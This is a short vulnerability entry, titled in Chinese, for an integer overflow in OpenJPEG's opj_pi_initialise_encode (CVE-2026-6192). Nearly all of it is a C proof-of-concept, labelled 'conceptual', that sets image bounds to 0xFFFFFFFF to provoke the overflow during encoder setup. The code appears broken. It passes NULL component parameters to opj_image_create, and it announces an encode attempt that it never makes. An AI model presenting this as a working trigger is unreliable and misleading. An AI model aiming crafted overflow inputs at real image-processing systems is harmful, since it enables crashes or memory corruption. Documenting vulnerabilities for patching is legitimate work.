CVE-2026-6192 uclouvain openjpeg整数溢出漏洞

/* * PoC for CVE-2026-6192 (Conceptual) * This code demonstrates the potential trigger for the integer overflow * in opj_pi_initialise_encode. */ #include <openjpeg.h> #include <stdio.h> int main(int argc, char **argv) { opj_cparameters_t parameters; opj_image_t *image = NULL; opj_codec_t *codec = NULL; // Initialize parameters opj_set_default_encoder_parameters(&parameters); // Setup a basic image structure (simplified for PoC) // In a real exploit, specific dimensions would be crafted to cause overflow image = opj_image_create(1, NULL, OPJ_CLRSPC_GRAY); if (!image) { fprintf(stderr, "Failed to create image\n"); return 1; } // Set image dimensions to potentially trigger overflow in pi.c image->x1 = 0xFFFFFFFF; // Large value to potentially trigger overflow image->y1 = 0xFFFFFFFF; // Create encoder codec = opj_create_compress(OPJ_CODEC_JP2); if (!codec) { fprintf(stderr, "Failed to create codec\n"); opj_image_destroy(image); return 1; } // Setup encoder (this calls opj_pi_initialise_encode internally) if (!opj_setup_encoder(codec, &parameters, image)) { fprintf(stderr, "Failed to setup encoder\n"); opj_destroy_codec(codec); opj_image_destroy(image); return 1; } // Attempt to encode (Triggering the vulnerability) // The overflow occurs in opj_pi_initialise_encode called during setup or encode printf("Attempting to trigger vulnerability...\n"); opj_destroy_codec(codec); opj_image_destroy(image); return 0; }